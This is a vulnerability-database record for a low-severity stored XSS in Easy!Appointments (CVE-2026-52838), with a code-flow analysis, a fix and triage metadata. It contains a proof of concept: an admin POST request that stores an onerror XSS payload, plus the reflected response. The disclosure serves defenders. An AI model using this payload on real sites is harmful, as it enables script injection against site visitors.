{"id":"CVE-2026-52838","kind":"vulnerability","aliases":["CVE-2026-52838","GHSA-996f-334j-67g7"],"related":[],"title":"Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS","description":"## Summary\n \nEasy!Appointments allows administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization:\n \n```php\n<p><?= vars('message_text') ?></p>\n```\n \nAn authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Rich text editor value stored without sanitization\nThe booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:\n \n```javascript\n// assets/js/pages/booking_settings.js line 61-92\nbookingSettings.push({\n    name: 'disable_booking_message',\n    value: $disableBookingMessage.trumbowyg('html'),\n});\n```\n \n### Step 2 — Settings controller saves value verbatim\nThe backend settings controller persists the submitted value without any HTML sanitization:\n \n```php\n// application/controllers/Booking_settings.php line 76-104\n$this->settings_model->save($setting);\n```\n \n### Step 3 — Public booking controller forwards stored value to view\nWhen booking is disabled, the public booking controller loads the stored message and passes it directly to the view:\n \n```php\n// application/controllers/Booking.php line 113-132\n$disable_booking_message = setting('disable_booking_message');\n \nhtml_vars([\n    'message_text' => $disable_booking_message,\n]);\n```\n \n### Step 4 — Public view renders value without escaping\nThe booking message view emits the value raw using PHP's short echo tag with no escaping:\n \n```php\n// application/views/pages/booking_message.php line 10-12\n<p><?= vars('message_text') ?></p>\n```\n \nNo `htmlspecialchars()`, no sanitization, no template escaping is applied at any point in this rendering path.\n \n---\n \n## Proof of Concept\n \n**Step 1 — Store malicious disabled-booking message as admin:**\n \n```http\nPOST /index.php/booking_settings/save HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: <admin-session-cookie>\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert(\"easyappointments xss by ashrexon\")>\n```\n \nResponse: `200 OK` — settings saved successfully\n \n**Step 2 — Unauthenticated visitor opens public booking page:**\n \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:18094\n(no authentication)\n```\n \n**Observed response fragment:**\n```html\n<p><img src=x onerror=alert(\"easyappointments xss by ashrexon\")></p>\n```\n \n**Observed browser behavior:**\n \n`alert(\"easyappointments xss by ashrexon\")` executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.\n \n**Runtime verification result:**\n```\nadmin login ok\nsettings save ok\npayload reflected on public page\nPASS\n```\n \n---\n \n## Real World Impact\n \nEasy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:\n \n- Execute arbitrary JavaScript in visitor browsers on the trusted booking domain\n- Phish visitor credentials or personal information during booking downtime\n- Deface the public booking page during maintenance or outage windows\n- Redirect visitors to attacker-controlled sites\n---\n \n## Suggested Fix\n \nEscape the message value before rendering in the view:\n \n```php\n// application/views/pages/booking_message.php\n<p><?= e(vars('message_text')) ?></p>\n```\n \nAlternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the `disable_booking_message` value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25","summary":"An administrator-set 'booking disabled' message is printed on the public booking page without escaping, so stored HTML or JavaScript runs in visitors' browsers. An attacker who holds an admin account can plant script that runs for every unauthenticated visitor while booking is disabled.","severity":"low","cvss":2.6,"epss":0.00223,"exploited":false,"exploited_at":null,"products":[{"name":"alextselegidis/easyappointments","fixed":["1.6.1"],"affected":"<= 1.5.2","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["composer","cwe-79","easy-appointments","package","php","self-hosted"],"not_affected_if":["booking-enabled","fixed-version","no-admin-exposure"],"how_to_check":"- Check the installed version of Easy!Appointments (`composer show alextselegidis/easyappointments`); versions up to `1.5.2` are affected.\n- Look at `application/views/pages/booking_message.php` and see whether the message is printed with `<?= vars('message_text') ?>` without an escape function.","fix":"- Easy!Appointments: move to `1.6.1` or later.","status":"open","published_at":"2026-07-14T16:17:00+00:00","first_seen_at":"2026-11-10T19:29:50+00:00","triaged_at":"2026-11-10T20:05:07+00:00","updated_at":"2026-11-10T20:15:32+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-10T20:05:07Z","model":"claude-haiku-5-5","output":{"fix":"- Easy!Appointments: move to `1.6.1` or later.","reach":"internet","title":"Easy!Appointments: disabled-booking message renders raw HTML, enabling stored XSS","impact":"medium","summary":"An administrator-set 'booking disabled' message is printed on the public booking page without escaping, so stored HTML or JavaScript runs in visitors' browsers. An attacker who holds an admin account can plant script that runs for every unauthenticated visitor while booking is disabled.","audience":"businesses","category":"package","nicknames":[],"who_cares":["easy-appointments","php","composer","self-hosted"],"confidence":0.85,"fix_status":"available","needs_auth":"yes","worst_case":"script runs in visitors' browsers on the booking domain","analyst_note":"","how_to_check":"- Check the installed version of Easy!Appointments (`composer show alextselegidis/easyappointments`); versions up to `1.5.2` are affected.\n- Look at `application/views/pages/booking_message.php` and see whether the message is printed with `<?= vars('message_text') ?>` without an escape function.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["fixed-version","no-admin-exposure","booking-enabled"],"who_is_affected":"Sites running Easy!Appointments up to 1.5.2 that use the disabled-booking message feature. The attacker must already be an administrator, and the payload only fires when booking is switched to disabled mode. Instances on 1.6.1 or later, or ones that never enable the disabled-booking message, are not exposed.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"low"},"cost_usd":0.000917,"input_tokens":6166,"output_tokens":600,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-104':238C '-12':321C '-132':277C '-2026':17A,25A '-52838':18A,26A '-79':30B '-92':206C '/index.php/booking_settings/save':356C '0':370C,376C '1':173C,345C,378C,381C,388C '10':320C '113':276C '127.0.0.1':359C,417C '18094':360C,418C '2':216C,406C '200':400C '3':245C '334j':22A '4':293C '61':205C '67g7':23A '76':237C '996f':21A 'abus':497C 'account':70B 'admin':69B,353C,461C 'administr':41B,88C,137C,495C 'administrator-set':40B 'alert':394C,429C,437C 'alextselegidis/easyappointments':27A 'allow':87C 'altern':589C 'appli':333C,590C 'application/controllers/booking.php':274C 'application/controllers/booking_settings.php':235C 'application/views/pages/booking_message.php':318C,584C 'application/x-www-form-urlencoded':365C 'appoint':2A,33B,86C,477C,485C 'arbitrari':536C 'ashrexon':398C,433C,441C 'assets/js/pages/booking_settings.js':203C 'attach':455C 'attack':65B,569C 'attacker-control':568C 'authent':136C,420C,449C 'backend':223C 'behavior':436C 'book':4A,12A,43B,51B,81B,93C,98C,108C,124C,149C,163C,182C,210C,247C,255C,260C,279C,283C,290C,301C,350C,368C,373C,374C,379C,384C,386C,411C,486C,501C,526C,544C,553C,558C 'bookingsettings.push':207C 'browser':63B,435C,453C,523C,540C 'busi':489C 'caus':166C 'clinic':490C 'code':170C 'collect':185C 'comment':457C 'compos':28B 'concept':343C 'confirm':451C 'content':363C 'content-typ':362C 'control':218C,225C,248C,261C,570C 'cooki':361C 'credenti':548C 'csrf':366C 'custom':92C,505C 'customer-fac':504C 'cve':16A,24A 'cwe':29B 'defac':555C 'defin':90C 'deploy':479C 'direct':120C,269C 'disabl':3A,44B,83B,94C,107C,148C,209C,257C,278C,282C,289C,349C,372C,383C,500C,529C 'disablebookingmessage.trumbowyg':213C 'disabled-book':147C,348C,499C 'domain':545C 'downtim':554C 'e':585C 'easi':1A,32B,85C,476C 'easy-appoint':31B 'easyappoint':395C,430C,438C 'echo':312C 'editor':116C,176C,195C 'emit':304C 'enabl':146C 'escap':54B,128C,299C,316C,331C,574C 'everi':77B,156C,520C 'execut':442C,518C,535C 'face':484C,506C 'featur':507C 'field':145C 'fix':573C 'flow':171C 'forward':249C 'fragment':423C 'get':414C 'ghsa':20A 'ghsa-996f-334j-67g7':19A 'hold':67B 'holiday':512C 'host':38B,358C,416C 'html':9A,57B,140C,201C,214C,232C,285C,424C,593C 'htmlspecialchar':326C 'http':354C,413C 'http/1.1':357C,415C 'img':390C,425C 'immedi':443C 'impact':475C 'inform':551C 'intend':508C 'javascript':59B,142C,202C,516C,537C 'later':118C 'line':204C,236C,275C,319C 'load':262C,446C 'login':462C 'mainten':510C,561C 'malici':347C 'messag':5A,45B,95C,109C,125C,133C,187C,211C,265C,280C,284C,287C,291C,302C,323C,351C,385C,502C,576C,587C 'mode':150C 'model':241C 'name':208C,371C,382C 'notic':513C 'observ':421C,434C 'ok':401C,463C,466C 'onerror':393C,428C 'open':160C,409C 'outag':563C 'packag':34B 'page':13A,52B,100C,164C,184C,412C,445C,471C,527C,559C 'pass':119C,267C,472C 'path':340C 'payload':467C 'persist':226C 'person':550C 'phish':546C 'php':35B,131C,234C,273C,309C,317C,583C 'plant':72B,515C 'point':336C 'post':355C 'print':47B 'proof':341C 'provid':493C 'public':11A,50B,123C,162C,246C,259C,294C,410C,470C,483C,557C 'public-fac':482C 'raw':8A,200C,307C 'real':473C 'redirect':565C 'reflect':468C 'render':6A,296C,339C,579C 'requir':450C 'respons':399C,422C 'result':460C 'rich':114C,174C,193C 'rich-text':113C,192C 'root':165C 'run':60B,75B 'runtim':458C 'sanit':130C,180C,233C,328C,594C 'save':219C,242C,403C,465C 'screenshot':454C 'script':73B 'self':37B 'self-host':36B 'servic':492C 'set':42B,99C,110C,183C,217C,224C,240C,243C,281C,369C,375C,380C,387C,402C,464C 'short':311C 'site':571C 'src':391C,426C 'step':167C,169C,172C,215C,244C,292C,344C,405C 'store':14A,56B,104C,139C,153C,178C,250C,264C,346C 'strict':592C 'submit':197C,228C 'success':404C 'suggest':572C 'summari':84C 'surfac':487C 'tag':313C 'templat':330C 'text':115C,134C,175C,194C,288C,324C,588C 'token':367C 'trigger':152C 'trumbowyg':191C 'trust':543C 'type':364C 'unauthent':78B,157C,407C 'use':308C,533C 'valu':102C,177C,188C,212C,220C,229C,251C,297C,306C,377C,389C,577C 'var':132C,286C,322C,586C 'verbatim':221C 'verif':459C 'via':111C,452C 'view':126C,253C,272C,295C,303C,582C 'visitor':62B,79B,158C,408C,521C,539C,547C,566C 'window':564C 'without':53B,127C,179C,230C,298C 'world':474C 'x':392C,427C 'xss':15A,154C,396C,431C,439C","nicknames":[],"mitigations":[],"who_affected":"Sites running Easy!Appointments up to 1.5.2 that use the disabled-booking message feature. The attacker must already be an administrator, and the payload only fires when booking is switched to disabled mode. Instances on 1.6.1 or later, or ones that never enable the disabled-booking message, are not exposed.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["alextselegidiseasyappointments"],"ptokens":["alextselegidis","easyappointments"],"labels":["composer","cwe79","easyappointments","low","package","php","selfhosted"],"campaign_type":null,"search_a":"'-2026':17A,25A '-52838':18A,26A '334j':22A '67g7':23A '996f':21A 'alextselegidis/easyappointments':27A 'appoint':2A 'book':4A,12A 'cve':16A,24A 'disabl':3A 'easi':1A 'ghsa':20A 'ghsa-996f-334j-67g7':19A 'html':9A 'messag':5A 'page':13A 'public':11A 'raw':8A 'render':6A 'store':14A 'xss':15A","search_b":"'-79':30B 'account':70B 'admin':69B 'administr':41B 'administrator-set':40B 'appoint':33B 'attack':65B 'book':43B,51B,81B 'browser':63B 'compos':28B 'cwe':29B 'disabl':44B,83B 'easi':32B 'easy-appoint':31B 'escap':54B 'everi':77B 'hold':67B 'host':38B 'html':57B 'javascript':59B 'messag':45B 'packag':34B 'page':52B 'php':35B 'plant':72B 'print':47B 'public':50B 'run':60B,75B 'script':73B 'self':37B 'self-host':36B 'set':42B 'store':56B 'unauthent':78B 'visitor':62B,79B 'without':53B","search_c":"'-104':238C '-12':321C '-132':277C '-92':206C '/index.php/booking_settings/save':356C '0':370C,376C '1':173C,345C,378C,381C,388C '10':320C '113':276C '127.0.0.1':359C,417C '18094':360C,418C '2':216C,406C '200':400C '3':245C '4':293C '61':205C '76':237C 'abus':497C 'admin':353C,461C 'administr':88C,137C,495C 'alert':394C,429C,437C 'allow':87C 'altern':589C 'appli':333C,590C 'application/controllers/booking.php':274C 'application/controllers/booking_settings.php':235C 'application/views/pages/booking_message.php':318C,584C 'application/x-www-form-urlencoded':365C 'appoint':86C,477C,485C 'arbitrari':536C 'ashrexon':398C,433C,441C 'assets/js/pages/booking_settings.js':203C 'attach':455C 'attack':569C 'attacker-control':568C 'authent':136C,420C,449C 'backend':223C 'behavior':436C 'book':93C,98C,108C,124C,149C,163C,182C,210C,247C,255C,260C,279C,283C,290C,301C,350C,368C,373C,374C,379C,384C,386C,411C,486C,501C,526C,544C,553C,558C 'bookingsettings.push':207C 'browser':435C,453C,523C,540C 'busi':489C 'caus':166C 'clinic':490C 'code':170C 'collect':185C 'comment':457C 'concept':343C 'confirm':451C 'content':363C 'content-typ':362C 'control':218C,225C,248C,261C,570C 'cooki':361C 'credenti':548C 'csrf':366C 'custom':92C,505C 'customer-fac':504C 'defac':555C 'defin':90C 'deploy':479C 'direct':120C,269C 'disabl':94C,107C,148C,209C,257C,278C,282C,289C,349C,372C,383C,500C,529C 'disablebookingmessage.trumbowyg':213C 'disabled-book':147C,348C,499C 'domain':545C 'downtim':554C 'e':585C 'easi':85C,476C 'easyappoint':395C,430C,438C 'echo':312C 'editor':116C,176C,195C 'emit':304C 'enabl':146C 'escap':128C,299C,316C,331C,574C 'everi':156C,520C 'execut':442C,518C,535C 'face':484C,506C 'featur':507C 'field':145C 'fix':573C 'flow':171C 'forward':249C 'fragment':423C 'get':414C 'holiday':512C 'host':358C,416C 'html':140C,201C,214C,232C,285C,424C,593C 'htmlspecialchar':326C 'http':354C,413C 'http/1.1':357C,415C 'img':390C,425C 'immedi':443C 'impact':475C 'inform':551C 'intend':508C 'javascript':142C,202C,516C,537C 'later':118C 'line':204C,236C,275C,319C 'load':262C,446C 'login':462C 'mainten':510C,561C 'malici':347C 'messag':95C,109C,125C,133C,187C,211C,265C,280C,284C,287C,291C,302C,323C,351C,385C,502C,576C,587C 'mode':150C 'model':241C 'name':208C,371C,382C 'notic':513C 'observ':421C,434C 'ok':401C,463C,466C 'onerror':393C,428C 'open':160C,409C 'outag':563C 'page':100C,164C,184C,412C,445C,471C,527C,559C 'pass':119C,267C,472C 'path':340C 'payload':467C 'persist':226C 'person':550C 'phish':546C 'php':131C,234C,273C,309C,317C,583C 'plant':515C 'point':336C 'post':355C 'proof':341C 'provid':493C 'public':123C,162C,246C,259C,294C,410C,470C,483C,557C 'public-fac':482C 'raw':200C,307C 'real':473C 'redirect':565C 'reflect':468C 'render':296C,339C,579C 'requir':450C 'respons':399C,422C 'result':460C 'rich':114C,174C,193C 'rich-text':113C,192C 'root':165C 'runtim':458C 'sanit':130C,180C,233C,328C,594C 'save':219C,242C,403C,465C 'screenshot':454C 'servic':492C 'set':99C,110C,183C,217C,224C,240C,243C,281C,369C,375C,380C,387C,402C,464C 'short':311C 'site':571C 'src':391C,426C 'step':167C,169C,172C,215C,244C,292C,344C,405C 'store':104C,139C,153C,178C,250C,264C,346C 'strict':592C 'submit':197C,228C 'success':404C 'suggest':572C 'summari':84C 'surfac':487C 'tag':313C 'templat':330C 'text':115C,134C,175C,194C,288C,324C,588C 'token':367C 'trigger':152C 'trumbowyg':191C 'trust':543C 'type':364C 'unauthent':157C,407C 'use':308C,533C 'valu':102C,177C,188C,212C,220C,229C,251C,297C,306C,377C,389C,577C 'var':132C,286C,322C,586C 'verbatim':221C 'verif':459C 'via':111C,452C 'view':126C,253C,272C,295C,303C,582C 'visitor':158C,408C,521C,539C,547C,566C 'window':564C 'without':127C,179C,230C,298C 'world':474C 'x':392C,427C 'xss':154C,396C,431C,439C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-06-15T11:11:48+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-996f-334j-67g7","url":"https://github.com/advisories/GHSA-996f-334j-67g7","severity":"low","published_at":"2026-07-29T16:30:09+00:00","modified_at":"2026-11-10T19:26:10+00:00","first_seen_at":"2026-11-10T19:29:50+00:00","fetched_at":"2026-11-10T19:29:50+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-52838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52838","severity":null,"published_at":"2026-07-14T16:17:00+00:00","modified_at":"2026-10-24T21:10:00+00:00","first_seen_at":"2026-11-10T20:15:32+00:00","fetched_at":"2026-11-10T20:15:32+00:00","note":null}],"documents":[{"id":117554,"url":"https://api.github.com/repos/alextselegidis/easyappointments/security-advisories/GHSA-996f-334j-67g7","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":117555,"url":"https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-996f-334j-67g7","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-15T11:11:48+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":117556,"url":"https://github.com/alextselegidis/easyappointments/commit/629a0415f54f75556c17f4f5d9c77fda1fdbdeae","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":117545,"url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00223,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-52838"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}